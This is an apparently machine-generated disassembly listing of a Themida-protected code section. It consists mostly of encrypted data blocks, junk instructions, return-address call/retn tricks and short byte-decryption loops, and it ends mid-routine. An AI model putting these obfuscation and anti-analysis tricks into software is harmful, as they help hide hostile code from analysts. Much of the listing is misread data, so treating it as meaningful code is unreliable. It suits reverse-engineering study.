dd 89428362h, 0E423E5BDh, 499D8B07h, 6007E424h, 0D1B70FF8h
dd 0A1B58B61h, 0F07E7F8h, 786h, 2EBF5000h, 5F0DF4DCh, 99858Bh
dd 820F07E4h, 0
; ---------------------------------------------------------------------------
mov [esi], eax
mov eax, [ebp+7E40651h]
mov ebx, [ebp+7E40DFDh]
mov [esi+4], eax
push 0
push ebx
call sub_5D7AB0
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D7AB0 proc near ; CODE XREF: Themida_:005D7AA8p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5D7AB0 endp
; ---------------------------------------------------------------------------
push esi
dec esp
daa
inc ecx
mov eax, 1120D9D2h
xor [ebx-1BCE1663h], cl
pop es
push eax
push edi
mov ebx, 1784A230h
pop edi
mov [esp], esi
sub ebx, [ebp+7E42459h]
push dword ptr [ebp+7E7F89Dh]
push 0
push ebx
call sub_5D7AF2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D7AF2 proc near ; CODE XREF: Themida_:005D7AEAp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5D7AF2 endp
; ---------------------------------------------------------------------------
dw 7C3Ah
dd 275044F4h, 2B992BC5h, 0E40B15BDh, 4E807h, 3FF0000h
dd 0FB8B001Fh, 7BBB6650h, 24448B77h, 14E804h, 2FEF0000h
dd 5C1381E9h, 5809CDC8h, 0C004DD27h, 0E35F8B90h, 0F524CD3h
dd 88h, 8B5F5B00h, 0DA8B6600h, 4244489h, 11E9h, 0F6020C00h
dd 0F3D1F8A5h, 0CDA63D07h, 5250A9A7h, 6A581333h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0AC21C350h, 0FC628077h, 8B62998Fh, 0E41E75BDh, 0A5858D07h
dd 8907E7F8h, 0E40B5585h, 52509007h, 28A0Fh, 69B70000h
dd 880F310Fh, 2, 585A6160h, 8E950h, 5A0000h, 4D5D51DCh
dd 81904F1Bh, 77EC9CDBh, 2E06BB3Dh, 95FF2282h, 7E42D99h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 66C35747h
dd 4A2A6800h, 619D8BB8h, 0FC07E400h, 14E961h, 0AE740000h
dd 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h, 85C7344Dh
dd 7E422B9h, 3, 0A5BD83FCh, 7E7F8h, 2D840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 1487D6C3h, 0F9A4B788h, 21E9h, 0BF0F6000h, 5061F5C0h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 92921C3h, 0F1E5E19Ch, 2906C06Ah, 0E41B4985h
dd 99858907h, 6A07E40Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0E8A7C357h, 8384401Ah
dd 0E422B9BDh, 850F0307h, 449h, 128D8D89h, 0BD8307E4h
dd 7E7F8A5h, 36840F00h, 0FF000004h, 0E7F8A5B5h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 6C13D118h, 0E96DC286h, 8, 7119BEA8h, 8E8C9684h, 44D95FFh
dd 0F38007E4h, 859D2B42h, 8B07E401h, 0E7F899B5h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0BD0B4C98h, 7E40E5Dh, 106C7h, 0BD8B0001h, 7E40121h
dd 0E8525050h, 11h, 31505EBAh, 8AAB1A55h, 0E5F38F76h, 1B7861BBh
dd 5BF98BC8h, 0AE9310Fh, 21000000h, 231FF3E9h, 5EFC83C4h
dd 89585A62h, 0C2BF2434h, 0FF7CD8DEh, 0E7F8A5B5h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 1741ECB2h, 79849222h, 0BD29CE75h, 7E4199Dh, 2A0995FFh
dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0B7FBCCC3h, 441AA4F1h, 0BE8h, 74F1E700h
dd 0E879E1E8h, 3D85388Ch, 31818D89h, 8B5F07E4h, 0E7F899B5h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0FDF8B1Fh, 858BDEBFh, 7E43165h, 0DE8h, 6102E00h
dd 1EBF4678h, 268BC9A4h, 57B35D0Dh, 0C486895Fh, 81000000h
dd 76325DDFh, 0BDBD8B0Dh, 8B07E402h, 0E41B7195h, 178D0F07h
dd 0E9000000h, 12h, 0E27443D4h, 0DD86677h, 7996EB4Fh, 9BF7A6C7h
dd 0C28341DFh, 5089F804h, 53006A20h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0B287548Bh
dd 502A6ECAh, 89516DEDh, 0E414B995h, 858D5F07h, 7E80CD4h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 4EC35242h
dd 0FC14829h, 8689F9BFh, 0B8h, 0FFD78166h, 0BF006A24h
dd 45CFF97Dh, 0F8A5B5FFh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0F248A4C3h, 890A61DDh
dd 0E41AD585h, 0AD95FF07h, 6A07E431h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B8C1C353h
dd 0BBABEB52h, 259A1EB8h, 7E96050h, 0D9000000h, 8DDB95D0h
dd 0E95282F1h, 10h, 7ED2E721h, 0C307A9A4h, 0FB9D37EEh
dd 8B2FE106h, 3489615Fh, 11D38124h, 0FF283B6Dh, 0E7F8A5B5h
dd 8D858907h, 0FF07E421h, 0E41B1195h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 12D6BA54h, 0FCB83E1h, 68Ah, 0D19D2300h, 8307E406h, 0E40DF9BDh
dd 840F0007h, 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 6EC35747h, 47977508h, 68B0Fh, 9D890000h
dd 7E42D4Dh, 0B898589h, 509607E4h, 66525060h, 310FC88Bh
dd 585A6160h, 0CE9h, 1AB6700h, 43D38833h, 0AC528BE5h, 6A96617Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 5360C356h, 999D892Ah, 0F07E406h, 685h, 0F1BD8B00h
dd 0FF07E418h, 0E7F8A5B5h, 51950107h, 8B07E42Dh, 0E4246DBDh
dd 7D95FF07h, 8B07E402h, 0E415899Dh, 0A5B5FF07h, 8A07E7F8h
dd 7195FFF9h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 96E2C353h, 10E9h, 7007D000h
dd 7B356F1Ch, 19778B88h, 61A4B608h, 21BD8313h, 207E40Ah
dd 5F840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8BE93FC3h, 0E41EB585h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 9D0308C9h, 7E43235h, 0FDAB70Fh, 0C6FABFh, 0BE900h, 12AC0000h
dd 5054464Fh, 64032B17h, 7185C7C5h, 7E426h, 8B000000h
dd 0E405ADBDh, 0F345E907h, 8E0FFFFFh, 6, 51BD8Bh, 0C18B07E4h
dd 13E8h, 0BC90BB00h, 0A108DA72h, 5D8D8F30h, 58810C51h
dd 4229782Fh, 199BD89h, 8D5F07E4h, 0E40D8585h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 9E850D2h, 6D000000h, 0D3FE5D88h, 0D91E5A79h, 0CE14BB66h
dd 2404895Fh, 5FD88B52h, 6A006Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 685B01C3h, 44F340BFh
dd 25BD8B21h, 6A07E425h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 5C16E28Dh, 1A05167Dh
dd 43858D3Bh, 8307E95Fh, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0DE12B5C3h, 85176A4Eh
dd 870F2972h, 0Fh, 0AE9h, 6191B100h, 0FC297AF6h, 8BC5BEBCh
dd 820F50FBh, 28h, 10E8h, 0A3B98200h, 483859ACh, 2CEE9686h
dd 9131D4ABh, 0DE9E1h, 0ECCA0000h, 3E2865B9h, 5CAB744Ah
dd 5BF02560h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0E9F5C355h, 0CB81174Fh
dd 3666BAh, 61EB8166h, 8B006A9Eh, 0E40401BDh, 0F006A07h
dd 95FFFBBFh, 7E42471h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 26C35545h, 0B9A0C34h, 8E35E808h, 0D64B8D8Dh
dd 830F07E7h, 4, 2E88BF66h, 0FE8BD1FFh, 0C3DB8166h
dd 15BD8344h, 107E420h, 0BC850Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 49BD9EC3h
dd 0C781CA41h, 18D40BF7h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 575AF8C3h, 36C0BB66h
dd 9E9h, 0F709B200h, 26269204h, 50503BF2h, 0FDD8A52h, 0F88B6631h
dd 489585Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 3D852916h, 0FF07E40Bh, 0E431AD95h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 4A832AD3h, 0ABAF2A07h, 9D23BE09h, 7E41B79h
dd 79E938B7h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E95F4Dh
push 0
push eax
call sub_5D83EA
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D83EA proc near ; CODE XREF: Themida_:005D83E2p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5D83EA endp
; ---------------------------------------------------------------------------
dw 589Fh
dd 0A0B7F46Dh, 6A6291h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0FD1DB0C3h, 0E1858D3Fh, 6A07E7C6h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0C1B5C351h, 0F299FF4Fh, 5360D984h, 850Fh
dd 665B0000h, 4728F281h, 52509061h, 310FDA8Bh, 609DB560h
dd 585A6161h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0FF643BC3h, 35h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0C0897329h, 9529B02Fh, 7E42349h, 258964h, 0FF000000h
dd 0E420B985h, 0F98D0907h, 6A07E42Bh, 0A59D2BFFh, 0FF07E409h
dd 0E40635B5h, 359D2307h, 0FF07E40Dh, 0E4304D95h, 10CE907h
dd 0BD890000h, 7E41E01h, 8B6600B0h, 3599BFD8h, 70E6378Ah
dd 6820Fh, 8D890000h, 7E41ED5h, 9D8B71E4h, 7E43029h, 218D9D0Bh
dd 613C07E4h, 0D8830Fh, 0E7810000h, 33DB0BC1h, 6820Fh
dd 9D290000h, 7E4258Dh, 0FC8B60Fh, 9D8BF9B7h, 7E40111h
dd 6BAh, 8BA9B700h, 0E8C1FCC1h, 41BD2904h, 3307E426h, 0E415C9BDh
dd 0E2F76607h, 0E69BD89h, 0C82B07E4h, 52D18BFCh, 21019D89h
dd 15F07E4h, 0E427959Dh, 80E907h, 9D290000h, 7E4300Dh
dd 0AA1BD23h, 858B07E4h, 505F4C4Ch, 8B07C083h, 0E41FE1BDh
dd 0C08307h, 4EEF8166h, 0FD03BC4h, 1683h, 0CD9D8900h, 0E907E419h
dd 4Ah, 5BBA6660h, 0E27EBFFBh, 8B6125FAh, 0FFFFFF8Dh, 96BF66FFh
dd 1E183E6h, 2C840Fh, 9D8B0000h, 7E40FA1h, 1998589h, 0A58307E4h
dd 0FFFFFFFFh, 0E19589FEh, 8907E419h, 5F4C4C95h, 0C58D8950h
dd 8A07E421h, 0E9FAh, 0B58D0000h, 7E8D9D7h, 108E0Fh, 0BE90000h
dd 0A1000000h, 7C00BAF6h, 68206FAh, 0BF66955Ah, 6A1FC9h
dd 0E4195FFh, 9D8B07E4h, 7E423B5h, 5E8h, 8465AD00h, 8529A83Ah
dd 7E41FCDh, 1037B95Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0BA6306C3h, 3EE13EBh
dd 0E426B9BDh, 9BD8B07h, 8307E41Fh, 6AFCE1h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DB42CC3h
dd 669453EAh, 77A9BB6Fh, 0E9FC0622h, 0Ah, 2054ED3h, 777BEAF5h
dd 0B8DC89h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 33CDC351h, 9DBD8BF4h
dd 2B07E402h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0CF565E08h, 0F80DA368h, 8A0FFA69h
dd 1Ah, 12E8h, 0EF2AC700h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h
dd 0B7064661h, 33AD5B54h, 3E8D1C2h, 4E983D0h, 6AF475h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 2DD69FC3h, 0BF158619h, 97791BBh, 28C0Fh, 0FE8B0000h
dd 880Dh, 6D9D8B00h, 8B07E42Bh, 0E41B7195h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8B60ADDBh, 0E402719Dh, 11E907h, 0CC430000h, 0C27DF0ACh
dd 0FC6D9072h, 0A1282E00h, 6121CDD0h, 5FD98B51h, 2DA18D8Bh
dd 8B5007E4h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 68E0Fh, 0CB810000h, 65454F51h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 21C35141h, 82C4F4FCh, 0A7BBB34Ch
dd 0EE816660h, 816626BEh, 61C0FEC8h, 83FFBF0Fh, 0E40611BDh
dd 840F0007h, 72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0A9C35545h, 0CCFEBB18h, 0B86963h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 5881C350h, 6629782Fh, 13D1C381h, 5659D8Bh
dd 0F3BF07E4h, 8D7EB0EFh, 0E44FE78Dh, 89FE8B07h, 0E415859Dh
dd 66E1FF07h, 0F5ADE781h, 701BD8Bh, 0BD8307E4h, 7E422B9h
dd 13840F00h, 9000004h, 0E40B3D95h, 7E907h, 57800000h
dd 0E22AF003h, 0B9BD839Dh, 107E422h, 40F840Fh, 95290000h
dd 7E41B79h, 22B9BD83h, 0F0307E4h, 3C686h, 0DA7BF00h, 6A606BE7h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0E0A9C350h, 2781B57Bh, 9589BBBCh, 7E400D1h
dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 2BCCC350h, 0E41D61BDh, 0F5B5307h
dd 389h, 0F9B70F00h, 8B04E180h, 0FC90AD9h, 0E084h, 51858B00h
dd 8B07E406h, 0E400899Dh, 29853307h, 2907E420h, 0E409F18Dh
dd 0F605007h, 0E85h, 9E900h, 78E90000h, 51DD6253h, 5056538Ch
dd 0FFA8B52h, 5AADB131h, 4896158h, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0EA806070h
dd 7914B814h, 8B610F6Ah, 0E42225BDh, 8B006A07h, 0E41C459Dh
dd 0DDF26807h, 0CBB6CA6h, 8120BFA2h, 0DE0D2434h, 840F6CB9h
dd 0Ch, 6840Fh, 890F0000h, 0
; ---------------------------------------------------------------------------
call dword ptr [ebp+7E42D99h]
mov [ebp+7E7F8A5h], eax
pusha
jns loc_5D89C5
mov esi, [ebp+7E40ABDh]
loc_5D89C5: ; CODE XREF: Themida_:005D89B9j
mov edi, [ebp+7E4009Dh]
popa
jmp loc_5D8BDB
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5D89DC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D89DC proc near ; CODE XREF: Themida_:005D89D4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5D89DC endp
; ---------------------------------------------------------------------------
dd 0B6AA8F37h, 8B7D1E96h, 0E408FD9Dh, 9D858B07h, 0BF07E7F8h
dd 7F1B3B31h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0E4D8D7C3h, 1E78EE2Ah
dd 0D1BD2BEFh, 8907E421h, 0E4185185h, 0A1B58B07h, 0F07E7F8h
dd 585h, 4733BB00h, 10B76FE1h, 99858Bh, 958907E4h, 7E423DDh
dd 858B0689h, 7E40651h, 4689FC8Ah, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 96A03CBFh
dd 5BF98A57h, 0DA8B5750h, 0C381965Fh, 7810E161h, 7E9h
dd 98E20700h, 1027F571h, 0F89DB5FFh, 6A07E7h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47710C3h
dd 0D8E7F712h, 8B3B3254h, 0E402299Dh, 219D0B07h, 0E807E42Ah
dd 4, 1F03FFh, 12E9h, 26BD7D00h, 0EE3C0D9Fh, 0ABAA0FAh
dd 0C2F8E0B0h, 5050905Fh, 23D7BF66h, 424448Bh, 983EBB66h
dd 4489008Bh, 0F510424h, 58Eh, 90DABF00h, 585B46F7h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 52C35646h, 7E8656Bh
dd 0CB000000h, 0CA4C0B3Eh, 820FECF8h, 6, 52D9589h, 8D5F07E4h
dd 0E7F8A585h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 665FE892h, 6A0BCCB0h
dd 909FB3E2h, 58D0Fh, 2CBF0000h, 50666AA0h, 13E8h, 28807D00h
dd 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh, 418C3FA2h, 905F66B3h
dd 3880Fh, 8B660000h, 0C18D31FEh, 0FF07E42Fh, 0E42D9995h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 94468F23h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 68h, 4Fh
; ---------------------------------------------------------------------------
loc_5D8BDB: ; CODE XREF: Themida_:005D89CCj
popa
push 0
push edi
call sub_5D8BE7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D8BE7 proc near ; CODE XREF: Themida_:005D8BDFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5D8BE7 endp
; ---------------------------------------------------------------------------
push 1Eh
jnp loc_5D8C05
mov edi, [ebp+7E424F5h]
loc_5D8C05: ; CODE XREF: Themida_:005D8BF9j
sub [ebp+7E41A6Dh], ebx
or [ebp+7E408F1h], edi
mov dword ptr [ebp+7E422B9h], 3
push 0
push eax
call sub_5D8C26
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D8C26 proc near ; CODE XREF: Themida_:005D8C1Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5D8C26 endp
; ---------------------------------------------------------------------------
mov [ecx+68AC2494h], ebx
push ss
movsx ebx, cx
cmp dword ptr [ebp+7E7F8A5h], 0
jz loc_5D8C73
jmp loc_5D8C8E
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5D8C5D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D8C5D proc near ; CODE XREF: Themida_:005D8C55p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5D8C5D endp
; ---------------------------------------------------------------------------
db 0E9h, 7Ch, 8Dh
; ---------------------------------------------------------------------------
cld
and al, bh
loc_5D8C73: ; CODE XREF: Themida_:005D8C47j
; Themida_:005D8C8Aj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5D8C73
jmp short loc_5D8CC4
; ---------------------------------------------------------------------------
loc_5D8C8E: ; CODE XREF: Themida_:005D8C4Dj
; Themida_:005D8CA5j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5D8C8E
jmp short loc_5D8CC4
; ---------------------------------------------------------------------------
loc_5D8CA9: ; CODE XREF: Themida_:005D8CC0j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5D8CA9
jmp short $+2
loc_5D8CC4: ; CODE XREF: Themida_:005D8C8Cj
; Themida_:005D8CA7j
mov eax, eax
movzx edi, ax
push 0
push eax
call sub_5D8CD4
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D8CD4 proc near ; CODE XREF: Themida_:005D8CCCp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5D8CD4 endp
; ---------------------------------------------------------------------------
dd 9FCEEC31h, 22B9BD83h, 0F0307E4h, 41E85h, 319D8900h
dd 8307E426h, 0E7F8A5BDh, 840F0007h, 40Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 8EC35545h, 89F72D1Ch
dd 0E42C29BDh, 0A5B5FF07h, 6A07E7F8h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 22E9C352h
dd 636F7A64h, 0EE9ADh, 0CCFC0000h, 6BFA3B37h, 6DCF818Dh
dd 0C8D57C51h, 44D95FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0D9DAEDC3h, 0BF7006D8h
dd 18AC3365h, 1B29B589h, 0B58B07E4h, 7E7F899h, 20F19D8Bh
dd 6C707E4h, 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0F8C35141h, 69B58971h, 5007E418h, 3489DF8Bh
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 694CC070h, 3E4EEA66h, 0B5FF87B3h, 7E7F8A5h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EC35545h
dd 0FC7A7B8Fh, 1B599D8Bh, 95FF07E4h, 7E42A09h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CEC35747h, 99B58B36h
dd 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0AD8BC352h, 26D8F9EEh, 860F50CCh
dd 6, 1DF99529h, 565F07E4h, 0A419D0Bh, 8B5F07E4h, 0E4316585h
dd 6840F07h, 3000000h, 0E42A35BDh, 0C4868907h, 89000000h
dd 0E423099Dh, 9DBD8B07h, 8B07E42Bh, 0E41B7195h, 0D3816607h
dd 0C283910Dh, 0C19D8B04h, 8907E41Eh, 9D2B2050h, 7E42039h
dd 0CD4858Dh, 6A07E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 6186ADC3h, 59D99D5Dh, 81AEF763h
dd 236508DFh, 0B8868917h, 8B000000h, 0E420E9BDh, 8B006A07h
dd 0E423E99Dh, 0A5B5FF07h, 6A07E7F8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7C9C355h
dd 0A2B5A2A3h, 0E8DF8B87h, 5, 441EDF32h, 5BF88AE2h, 95FFF88Bh
dd 7E431ADh, 21C5DF81h, 50964996h, 56006A96h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 34DAD632h
dd 0E49D3600h, 5559BF66h, 1CC5BD8Bh, 0B5FF07E4h, 7E7F8A5h
dd 2C5D8589h, 95FF07E4h, 7E41B11h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0BDC35747h, 9665657h, 0BD838E23h
dd 7E40DF9h, 4E840F00h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D7A4C357h
dd 96752945h, 310F5250h, 585AD88Bh, 6A9650h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BD28FC3h
dd 0E41E299Dh, 0A5B5FF07h, 0F07E7F8h, 180h, 0EE9F900h
dd 80000000h, 2B8B5C44h, 0DFEB86F7h, 9DA8C8D1h, 7D95FF36h
dd 6607E402h, 0FFA23ABFh, 0E7F8A5B5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 5E600F84h, 9BCC203Eh, 0EE952h, 82D10000h, 4937BA97h
dd 0D6A9F5BBh, 0CD1F7DC7h, 95FFFE8Ah, 7E40971h, 8E9h, 41CE3600h
dd 0C67310E1h, 21BD8367h, 207E40Ah, 60840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 4C6852C3h, 29647691h, 0E41B4195h, 0B5858B07h, 6A07E41Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 165DC351h, 31BD1625h, 0AB75BB98h, 0BD890155h
dd 7E41595h, 0F0000C6h, 85C7DFB7h, 7E42671h, 0
; ---------------------------------------------------------------------------
jmp loc_5D9113
; ---------------------------------------------------------------------------
adc [edi], ah
add eax, 14336D91h
mov ah, 0A5h
push cs
loc_5D9113: ; CODE XREF: Themida_:005D9104j
jmp near ptr dword_5D83FC+0CBh
; ---------------------------------------------------------------------------
jno loc_5D9131
jmp loc_5D9131
; ---------------------------------------------------------------------------
db 62h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0EEh, 0CFh, 0F0h
dd 0EAFA5806h, 25F42B6Ah
db 1Ch
; ---------------------------------------------------------------------------
loc_5D9131: ; CODE XREF: Themida_:005D9118j
; Themida_:005D911Ej
mov eax, ecx
call sub_5D9148
adc ah, [edx+ebp+6Eh]
dec edx
add al, 0C7h
retf
; ---------------------------------------------------------------------------
dd 5769CF5Dh, 30E161A2h
; =============== S U B R O U T I N E =======================================
sub_5D9148 proc near ; CODE XREF: Themida_:005D9133p
add bh, 1Fh
pop edi
lea eax, [ebp+7E40D85h]
push 0
push ecx
call sub_5D915D
and [ecx-3Dh], bl
sub_5D9148 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D915D proc near ; CODE XREF: sub_5D9148+Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5D915D endp
; ---------------------------------------------------------------------------
das
cmp esi, [edx]
test al, 0F9h
push eax
jmp loc_5D9189
; ---------------------------------------------------------------------------
dd 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h
db 2
; ---------------------------------------------------------------------------
loc_5D9189: ; CODE XREF: Themida_:005D9173j
mov [esp], eax
push 0
push eax
call sub_5D9197
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D9197 proc near ; CODE XREF: Themida_:005D918Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5D9197 endp
; ---------------------------------------------------------------------------
inc ebp
mov eax, ds:4647A7CBh
sbb al, 65h
mov ebx, [ebp+7E42025h]
mov bx, 0FE48h
push 0
mov ebx, eax
push 0
push 0
push ebp
call sub_5D91CA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D91CA proc near ; CODE XREF: Themida_:005D91C2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
